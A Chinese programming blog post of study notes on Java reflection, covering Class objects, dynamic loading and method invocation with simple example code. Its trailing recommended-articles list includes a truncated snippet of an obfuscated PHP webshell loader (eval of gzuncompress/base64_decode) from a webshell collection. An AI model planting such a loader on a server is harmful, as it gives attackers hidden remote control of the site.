Java反射机制笔记_yinhuanxu的博客-程序员资料

技术标签: java反射  Java学习篇  动态加载类  android  方法的反射操作  

很多时候,java程序运行中,我们需要在运行时了解类的信息,得到类的实例,并且进而继续得到类的方法,构造函数,权限,变量以及其他信息。这时候我们需要用到一门技术,java反射

反射说白了,就是把我们的一些文件,一些字符串,一些地址上具体的配置信息,能够把他们动态的在运行期实例化,并且我们能够操作这些实例。这就是反射。

以下几段话是我学习Android的思考,只是想学习反射的同学可以直接跳到Class的使用

我学习Android开发的时候,我就在想,我们在layout文件下写的xml布局文件,他是文本文件,是一些配置信息吧。既然万事万物皆对象,那我们的手机界面应该是一个类。
xml布局文件有LinearLayout布局,那是不是有一个LinearLayout类?我在xml布局文件那里配置

android:layout_width="match_parent"
android:layout_height="match_parent"

就能让这个LinearLayout的宽高匹配父布局。那么,如果真的有LinearLayout类的话,会不会有个方法类似于setWidth()让我设置宽高?事实上,有LinearLayout类,提供了setLayoutParams()方法让我们设置布局参数,当然这个方法能设置宽高

那,我们在xml布局文件写的配置信息,在手机界面上能够显示那么丰富的效果,有按钮,有文本,有列表。这是怎么做到的?其实,这就是用到反射,把xml布局文件写的配置信息,动态的实例化,比如Button按钮,TextView文本,在程序运行时刻全都动态实例化。如果没有反射,我们就无法使用(调用)xml布局文件,无法使用到xml布局文件的话,那Android系统怎么加载丰富多彩的界面?
同样的,AndroidManifest文件里配置了很多Activity,都是通过反射来实例化。如果没有反射,也无法使用AndroidManifest里的配置信息。当然也就没有了Android框架了。

Java反射那么重要,我们需要理解了才能够去使用他。那我们就来学习Java反射这门技术

Class类的使用

在面向对象的世界里,万事万物皆对象。

在java的世界里,有两样东西不是面向对象的。基本的数据类型和静态(static)的东西。

比如,int a = 5,他不是面向对象,但是他有包装类(Integer)或者说是封装类,弥补了他。Int a = 5;是直接在栈空间中分配内存。而Integer a = new Integer(5),对象在堆内存中,引用变量a在栈内存。像这样的普通数据类型还好几个,比如boolean与Boolean,char和Character,double与Double等等,他们都不是面向对象

还有是就是java静态的东西,他不属于某个对象,是属于类的
现在,除去以上不是面向对象的。

那么我们写的类,类是不是对象呢?类是谁的对象呢?类是哪个类的对象呢?
我们写的每一个类它也是对象,类是对象,类是java.lang.Class类的实例对象。

我写的一个Student类,他是不是对象,是一个对象。谁的对象?Class类的实例对象

public class Student {

}

注意,我们上面的程序class,c是小写,是关键字。在声明java类时使用。而我们说的java.lang.Class类的C是大写,他是一个类,因为我们定义一个类,类名的首字母是大写的呀。也可以这么理解:

现在有一个类,他的名字就叫Class。java.lang.Class类

Class类能不能new出实例对象呢?这个对象到底如何表示呢?
我们按住ctrl+鼠标左键,追踪Class这个类,发现他的构造方法是私有的,还给出了注释,只有java虚拟机才能创建Class对象,如下所示:

    /*
     * Constructor. Only the Java Virtual Machine creates Class
     * objects.
     */
    private Class() {}

既然不能通过调用构造方法,new出实例,那么Class类的实例对象如何表示呢?

接下来我们来学习Class类的使用

我们打开eclipse先新建一个Student类

public class Student {

    public void introduce(){
        System.out.println("我是一名大三学生");
    }

}

在新建一个demo,我们很简单的将Student类的实例对象表示出来

public class ClassDemo {
    public static void main(String[] args){
        //student1表示Student的实例对象
        Student student1 = new Student();       
    }
}

那么我们说到,Student这个类,也是一个实例对象,是Class类的实例对象

——》紧接上面提到的问题:Class类的实例对象如何表示呢?
任何一个类都是Class类的实例对象(这句话可以心里念三遍)。这个实例对象有三种表示方式:

第一种表示方式 —>通过类名调用静态成员变量class。 类名.class

Class class1 = Student.class;

这实际在告诉我们任何一个类都有一个隐含的静态成员变量class

第二种表示方式 —> 已经知道该类的对象,通过调用getClass方法。object.getClass()

Class class2 = student1.getClass();

第三种表达方式 —> Class类调用静态方法forName(“类的全称”)。
Class.forName(“类的全称”)

Class class3 = null;
    try {
        class3 = Class.forName("com.xyh.reflect.Student");
    } catch (ClassNotFoundException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }

万一我们找不到这个类呢?这种方法会抛出ClassNotFoundException异常
好,现在我们已经将Class类的实例对象表示出来了。

class1, class2,class3 表示了Student类的类类型(class type)。
这里的三种表示方式,类名.class,object.getClass(),Class.forName(“类的全称”),是指哪个类调用.class返回的就是哪个类的类类型,哪个对象调用getClass()返回的就是这个对象所属类的类类型,Class.forName()同理

我是这么理解类类型的,类类型是某个类的另一种表示方式,另一种类型。他们大有不同,却又息息相关。(这有点绕口)
下面我们会学到用类类型来创建对象,如:通过class1对象调用newInstance()方法,需要进行一下强转

Student student2 = (Student) class1.newInstance();

这种通过类类型创建Student类的实例对象,我们也可以通过new Student()来创建对象,两种方式都可以创建对象嘛!所以我把Student的类类型理解成了Student类的另一种表示方式,
类也是对象,是Class类的实例对象
这个Class类的对象,我们称为该类的类类型

我们看到下面这行代码

System.out.println(class1 == class2);

输出:true

结论:不管class1 ,class2都代表了Student类的类类型,一个类只可能是Class类的一个实例对象,也就是唯一,只有一个

我们完全可以通过类的类类型创建该类的实例对象 —>
比如,可以通过class1,class2,class3创建Student类的实例对象

    try {
        //前提是需要有无参数的构造方法
        Student student2 = (Student) class1.newInstance();
        //student2调用方法验证一下
        student2.introduce();

    } catch (Exception e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } 

输出:true
我是一名大三学生

| 以下才是核心知识点 |
| 以下才是核心知识点 |
| 以下才是核心知识点 |

动态加载类

Class.forName(“类的全称”)
不仅表示了类的类类型,还代表了动态加载类。那么,什么是动态加载类,什么是静态加载类

编译时刻加载类是静态加载类,运行时刻加载类是动态加载类

我一开始写Java程序,是在Notepad++写的,写好后后通过命令行输入javac 类名.java编译,通过java 类名,执行程序。好怀念,后来我使用了eclipse写java,我就在想,为什么这些IDE能够做到:我一写好程序,点击运行就ok,他一定做了很多功能的封装,(比如我一点击运行,eclipse就执行了javac和java命令吧),不管怎样。IDE方便了开发者,而且他检错很好,比如下图
这里写图片描述
我现在Office类需要使用Word类的实例对象,但是我并没有定义这个Word类

如果我们使用Notepad++就没有那么好了,并没有提示。不过却能让我们更好的理解 动态加载类 这个知识点

好,我们通过Notepad++写一段程序回忆下

public class Office {
    public static void main(String[] args){

        //new创建对象是静态加载类,在编译时刻就需要加载所有的可能使用到的类
        if("Word".equals(args[0])){
            Word word = new Word();
            word.open();
        }
        if("Excel".equals(args[0])){
            Excel excel = new Excel();
            excel.open();
        }

    }

}

我们知道这样编译肯定会报错的。因为我们现在没有声明Word类和Excel类。此时,我们不禁会想,Word一定用到吗?Excel一定用到吗?
这里写图片描述

那我们现在声明一个Word类

public class Word{

    public void open(){
        System.out.println("Word...Open");
    }

}

这里写图片描述
现在只报两个错了,这个程序有什么问题? Word类已经有了,我现在就想用Word,这个程序能跑吗?不能,因为程序一直会报找不到Excel类的错误,如果现在有一百个类,有一个类找不到或者出问题,全部都用不了。而且一百个类,每一个都还需要用if语句去判断

思路:我们这段程序实现的是静态加载。是在编译时加载。
而我们希望写的程序是可以扩展的,我想要用到哪个类就加载哪个类,即在程序运行时刻动态加载。接着我们新建一个OfficeBetter类如下

public class OfficeBetter{  
    public static void main(String[] args){         
        try{            
            Class class1 = Class.forName(args[0]);
            Word word = (Word)class1.newInstance();
            word.open();    
        }catch(Exception e){            
            e.printStackTrace();            
        }       
    }   
}

这里写图片描述
编译通过,运行OK。但是上面的代码也是有问题的,问题如下:

    Word word = (Word)class1.newInstance();
    word.open();

如果我传入的是Excel,PPT呢?那么就无法强转了。还是说我用到哪个类了,在来OfficeBetter这里修改强转的类型??这也太麻烦了吧。所以我们应该提供一个标准,新建一个OfficeAble接口

public interface OfficeAble{
    public void open();
}

以后我们想用到哪个类,就让他实现这个接口就行了。优化后的代码如下

public class Word implements OfficeAble{
    

    public void open(){
        System.out.println("Word...Open");
    }

}
public class OfficeBetter{  
    public static void main(String[] args){         
        try{            
            Class class1 = Class.forName(args[0]);
            OfficeAble officeAble = null;
            officeAble = (OfficeAble)class1.newInstance();
            officeAble.open();  
        }catch(Exception e){            
            e.printStackTrace();            
        }       
    }   
}

如果我们想用到Excel类,那就新建Excel类实现OfficeAble接口

public class Excel implements OfficeAble{
    

    public void open(){
        System.out.println("Excel...Open");
    }

}

这里写图片描述

呐,我想用到哪个类,我就写一个类去实现OfficeAble这个标准就行了,如图PPT类我是没有去写的,传进去参数才会报错。而那个OfficeBetter程序我更本不用去修改它

功能性的类一般使用动态加载

总结:到这里,我们已经学习了Class类的使用,和动态加载类的知识点,我们需要明白什么是类类型(class type)。
以上的内容我们只是通过类类型来创建该类的实例对象—>类类型.newInstance()
但是,类类型还能够做很多很多事情。

要获取类的信息,首先要获取类的类类型,(class type)


这里写图片描述


我们通过eclipse的代码提示,可以看到,类类型很多get方法
在这里我们可以封装一个工具类,去获取类的信息,就叫ClassUtil吧

package com.xyh.reflect;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

/**
 * 获取类的信息的工具类
 *
 */
public class ClassUtil {
    
    /**
     * 以后在任意情况下,我们想获取一个类的信息,首先要获取到这个类的类类型
     */

    /**
     * 
     * 打印类的成员函数信息
     * @param object 
     */
    public static void printMethodMessage(Object object){

        //获取到该类的类类型
        Class class1 = object.getClass();//Object类是一切类的父类,传递的是哪个子类的对象,class1就是该子类的类类型

        //获取类的名称
        System.out.println("类的名称是:"+class1.getName());

        /**
         * 方法也是对象,Method类的对象
         * 一个成员方法就是一个Method对象
         * getMethod()方法获取的是所有的public函数,包括父类继承而来的
         * getDeclaredMethods()获取的是所有该类自己声明的方法,不问访问权限
         * 
         */
        Method[] methods = class1.getMethods();
        for(int i = 0 ;i <methods.length ; i++){
            //得到方法的返回值类型的类类型
            Class  returnType = methods[i].getReturnType();
            System.out.print(returnType.getName()+" ");

            //得到方法的名称
            System.out.print(methods[i].getName()+"(");

            //获取参数类型 ->得到的是参数列表的类型的类类型
            Class[] paramTypes = methods[i].getParameterTypes();            

            for (Class class2 : paramTypes) {
                System.out.print(class2.getName()+",");
            }

            System.out.println(")");

        }

    }


    /**
     * 打印类的成员变量的信息
     * @param object
     */
    public static void printFieldMessage(Object object) {
        /**
         * 成员变量也是对象
         * java.lang.reflect.Field
         * Field类封装了关于成员变量的操作
         * getFields()方法获取的是所有的public的成员变量的信息
         * getDeckaredFields()获取的是该类自己声明的成员变量的信息
         */
        //Field[] fields = class1.getFields();
        Class class1 = object.getClass();
        Field[] fields = class1.getDeclaredFields();
        for(Field field :fields){
            //得到成员变量的类型的类类型
            Class fieldType = field.getType();
            String typeName = fieldType.getName();
            //得到成员变量的名称
            String fieldName = field.getName();
            System.out.println(typeName+" "+fieldName);
        }
    }

    /**
     * 获取对象的构造函数的信息
     * @param object
     */
    public static void printConstructorMessage(Object object){
        Class class1 = object.getClass();
        /**
         * 构造函数也是对象,
         * java.lang.Constructor中封装了构造函数的信息
         * getConstructors()获取所有的public的构造函数
         * getDeclaredConstructors()获取所有的构造函数
         * 
         */
        Constructor[] constructors = class1.getDeclaredConstructors();
        for(Constructor constructor : constructors){
            System.out.print(constructor.getName()+"(");
            //获取构造函数的参数列表->得到的是参数列表的类类型
            Class[] paramTypes = constructor.getParameterTypes();
            for (Class class2 : paramTypes) {

                System.out.print(class2.getName()+",");
            }
            System.out.println(")");
        }
    }

}

这里直接贴出了代码,注释也写的比较详细。还需要补充的是,ClassUtil工具类是欢迎大家去丰满他的,现在只能打印一些类的信息,但是我们开头说到的,反射可以在运行时实例化,获取到类的信息,并能操作这些实例,既然是操作,我们可以看到下图:

这里写图片描述

如果我们能得到Constructor构造函数对象,他有很多方法,是可以做很多事的。其他成员函数,成员变量亦同理。

最后一个知识点。

方法的反射操作

方法的反射操作是用method对象来进行方法调用。一般是这样的
method.invoke(对象,参数列表)

我们写一个Computer类

public class Computer {

    public void plus(int a,int b){
        System.out.println(a+b);
    }
    public void plus(String a,String b){
        System.out.println(a.toUpperCase()+","+b.toLowerCase());
    }

}

目标:我们要通过方法的反射操作来获取到plus方法

新建一个MethodDemo类,

package com.xyh.reflect;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class MethodDemo {
    

    public static void main(String[] args){
        /**
         * 方法是类的信息,要获取一个方法,就是获取类的信息,获取类的信息首先要获取这个类的类类型
         * 
         */ 
        Computer computer = new Computer();

        Class class1 = computer.getClass();
        /**
         * 获取方法,名称和参数列表来决定
         * getMethod获取的是public的方法
         * getDelcaredMethod获取自己声明的方法
         */     
        try {
            Method method = class1.getMethod("plus",new Class[]{
   int.class,int.class});

                //方法的反射操作是用method对象来进行方法调用,和computer.plus(10, 20)调用的效果是一样的

                /**
                 * 其实可以这么理解,这个plus现在变成了方法对象了,那么就是computer这个对象操作plus这个对象
                 * 同样,我们也可以反过来操作,用plus这个方法所代表的对象method,来操作computer这个对象
                 * 
                 * 用plus这个方法对象。那么plus方法对象是谁?
                 * 是method。来操作computer
                 */
            Object object = method.invoke(computer, new Object[]{
   10,20});
            //Object object = method.invoke(computer, 10,20);

            Method method2 = class1.getMethod("plus", String.class,String.class);
            method2.invoke(computer,"hello","world");

            /**
            * 无参数
             *  Method method3 = class1.getMethod("plus");
             * method3.invoke(computer);
             */ 
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }   
    }
}

最后需要补充的是,Class的getMethod方法和getMethods方法是不一样的
这里写图片描述

后者getMethods我们在ClassUtil工具类里用到过,返回的是一个数组,需要遍历每一个方法对象。
而getMethod方法,第一个参数传的是方法名,第二个参数是参数列表,是一个数组
方法名称和方法的参数列表才能唯一决定某个方法

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/xyh269/article/details/52145549

智能推荐

php shgtxkn cn,webshell/oi.php.txt at master · tennc/webshell · GitHub_weixin_39673184的博客-程序员资料

eval("?&gt;".gzuncompress(base64_decode("eJzsvXtbG0eyOPz/eZ7zHZqJYkuxEALbuYAhwYBjToxhAa83P+BVRpqRNEHSKDMjLsn6u79V1feeHkmQZE/2POvd2Jq+VFdXd1dXV1dVv/p2Opz+9399ttwfLMjif7DDyU0YJVHKNtrtb1jpDxaM4n4yietP82H...

ch552开发环境配置-程序员资料

ch552编译环境搭建,后续会使用python的pyusb做上位机,此文归结到python中

第四章:Android Studio (dp屏幕适配)_Rx_ing的博客-程序员资料

Android Studio 环境自己编写屏幕适配器,生成适配文件本文纯菜鸟笔记,共3个模块一、dimen.xml,二、Dimesion.java,三、使用简解前言这里记录的是根据dp尺寸做的屏幕适配,基于编写好的基本dimen.xml文件模板,编写个Dimesion.java类,生成多个屏幕适配文件。原理就是:读基本dimen.xml文本,提取dp值,按不同屏幕比例计算生成新值,然后创...

什么是Wi-Fi,WLAN和Wi-Fi的区别有那些_JackieGemini的博客-程序员资料

随着通信技术、网络技术和无线技术的发展,无线网络逐渐被大家所认识和接受,并且越来越广泛的应用到我们的日常生活中。特别是无线技术,我们所熟悉的就是WLAN、蓝牙、红外和ZigBee等,在网络数据通信中发挥着很重要的作用,它们各有优点特点,也存在着不可避免的劣势,各种无线技术的共存和发展说明这个通信网络行业的发展前景一片光明。  但是Wi-Fi是什么?什么是WLAN?WLAN和Wi-Fi的区别

复制粘贴(CTRL+C、CTRL+V)失效_dashen180309的博客-程序员资料

在遇到这种情况的时候有可能是电脑中病毒了,打开杀毒软件对电脑所有磁盘进行杀毒,然后重启电脑即可。如果杀毒还没有用的话那就有可能是磁盘垃圾太多。打开我的电脑,右键c盘然后单击属性选项。在弹出的窗口中找到磁盘清理,选中磁盘清理。系统将会自动扫描所要清理的对象。系统将会弹出窗口让你选择需要清理的对象,不用勾选,默认清理对象即可。单击确定,系统会自动清理磁盘。接下来将所有磁盘按以上的方法清理完毕即可。接下...

全盘揭秘:思科路由器接口及模块(作者:酷龙)_思科路由器 入侵检测_xiaofam的博客-程序员资料

【IT168专稿】思科路由器的接口类型繁多,要认识并能正确采购而且能正确使用它是一件有挑战意义的事情。笔者经过多年的学习以及经验总算对它们有一些认识,本着“肋人为乐”的精神,特地与大家一起分享。    本文以思科公司最通用、最典型的路由器型号——Cisco2600系列为例来进行说明。思科在早期的路由器(如Cisco2500系列)中,接口都是固定化设计,从Cisco2600系列起,开始采用模块化设计

随便推点

Linux正则表达式_Daye丨的博客-程序员资料

Linux正则表达式 一、grep/egrep 工具的使用该命令的格式为: grep [-cinvABC]‘ word' filename,其常用的选项如下所示。-c:不是打印符合要求的行数;-i:表示忽略大小写;-n:表示输出符合要求的行及其行号;-v:表示打印不符合要求的行;-A:后面跟一个数字(有无空格都可以),例如-A2表示打印符合要求的行以及下面两行;-B:后...

程序员之路-应届面试历程_tdy1234的博客-程序员资料

 小弟07年大本毕业,毕业前面试了5家公司拿了3个offer,自认为有些心得,特将找工作的心路历程和大家分享一下。 由于考研的缘故,没有参加学院年前的一些招聘活动,错过了不少机会,感觉到比较遗憾。07年3月5号考研成绩出来,很不理想,心情正是很差的时候,接到一个电话,是深圳招行数据中心的笔试通知,当时什么都没准备,技术放下了一年多了(考研不是考计算机方向的),就直接过去了,也没指望拿到

git使用详解_平头哈的博客-程序员资料

创建本地仓库在目标文件夹位置右键打开git bash 或者直接打开在cd到指定目录下初始化仓库git init 全局配置git用户信息以作标识git config --global user.name "xxxxx"git config --global user.email "xxxxx.com"获取公钥 ssh-keygen -t rsa回车+回车,到C:\Users\Administrator.ssh目录下复制id_rsa pub文件中的内容设置远程仓库登录git hub

CodeForces 510C (拓扑排序)_风吼迷林的博客-程序员资料

Description Fox Ciel is going to publish a paper on FOCS (Foxes Operated Computer Systems, pronounce: “Fox”). She heard a rumor: the authors list on the paper is always sorted in the lexicographical o

新手必读 详细介绍J2ME的基础知识_iteye_7441的博客-程序员资料

一、J2ME中需要的Java基础知识 现在有大部分人,都是从零开始学J2ME的,学习J2ME的时候,总是从Java基础开始学习,而且现在讲Java基础的书籍中都是以J2SE来讲基础,这就给学习造成了一些不必要的麻烦,下面将J2ME中用到的和不需要的Java基础知识做一个简单的说明。 J2ME中使用到的Java基础知识:   1、Java语法基础:包括基本数据类型、关键字、运算符等等   2、面向对...

Xshell配置 ssh免密登录 密钥公钥_xshell密钥_zc俊杰的博客-程序员资料

ssh登录提供两种认证方式:口令(密码)认证方式和密钥认证方式。其中口令(密码)认证方式是我们最常用的一种,这里介绍密钥认证方式登录到linux/unix的方法。

推荐文章

热门文章

相关标签